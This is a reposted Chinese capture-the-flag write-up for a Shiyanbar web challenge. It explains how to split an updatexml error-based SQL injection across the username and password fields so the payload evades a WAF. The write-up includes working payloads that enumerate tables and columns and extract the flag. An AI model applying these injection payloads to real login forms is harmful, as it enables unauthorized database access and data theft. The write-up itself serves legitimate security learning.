• 实验吧 加了料的报错注入


    链接:http://ctf5.shiyanbar.com/web/baocuo/index.php 

    这题有坑点
    POST提交
    username=&password=
    右键源码:
    $sql="select * from users where username='$username' and password='$password'"; 
    一开始我用burpsuite跑username处的单字符waf,发现被过滤了#-:=
    而在username处使用(),会显示出User name unknow error:
    我一开始在这里郁闷了好久,不用()还能玩???

    最后发现在password处提交的就可以使用(), 看到这里就会发现有所古怪吧。于是可以在password弄一些函数

    当输出
    username=' or '1&password=' or pcat() or '1
    显示为
    FUNCTION error_based_hpf.pcat does not exist
    这里库名是error_based_hpf

    而在password处使用报错函数
    floor、ExtractValue、UpdateXml、GeometryCollection、polygon、multipoint、multlinestring、multpolygon、linestring
    会出现
    被waf或者Unknown password error.
    而name_const利用复杂而没被出题人看上吧,而exp由于作者不想过滤掉regexp而不得不保留exp(实属遗憾)

    然后这里再回想刚才我们的做法,括号在右边可行,但报错函数名在右边不可行,那么我们尝试下报错函数名在左边可否,最后发现是可以的。
    这里再观看刚才报出来的库名error_based_hpf
    hpf全称为HTTP Parameter Fragment,sql注入里有一种就叫http分割注入
    payload:
    username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '
    这里username最后为 /* 而password最前面为*/  在拼接的时候就实现了/* */注释功能

    出题人的意图就是左边不能出现括号,右边不能出现报错函数名

    先试出一些waf:
    substr  mid  left right union limit like

    爆表名,由于不能等号、limit、like,于是借用regexp
    username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database())),1) or '
    得到
    ffll44jj

    爆列名
    username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )),1) or '
    得到
    value

    爆flag
    username=' or updatexml/*&password=*/(1,concat(0x3a,(select value from ffll44jj)),1) or '

    总结:
    这题还是很用心,但唯一的遗憾在于右边不过滤掉exp,导致右边直接exp报错即可。
    另外,盲注也可以,参考我上一篇《认真一点》的writeup,把等号同样用regexp来操作。

    转载 http://www.shiyanbar.com/ctf/writeup/4869

  • 相关阅读:
    题解 CF36B【Fractal】
    21清北学堂腾飞营游记
    canvas小试牛刀
    ES度量聚合(ElasticSearch Metric Aggregations)总结
    Mybatis中设计模式的运用
    Mybatis源码-SqlSession(二)
    Mybatis源码-sqlSessionFactory(一)
    Redis6.0多线程模型总结
    RocketMQ中的CommitLog、ConsumeQueue、indexFile、offsetTable以及多种偏移量对比
    SpringBoot——自动配置原理
  • 原文地址:https://www.cnblogs.com/baifan2618/p/8117805.html
Copyright © 2020-2023  润新知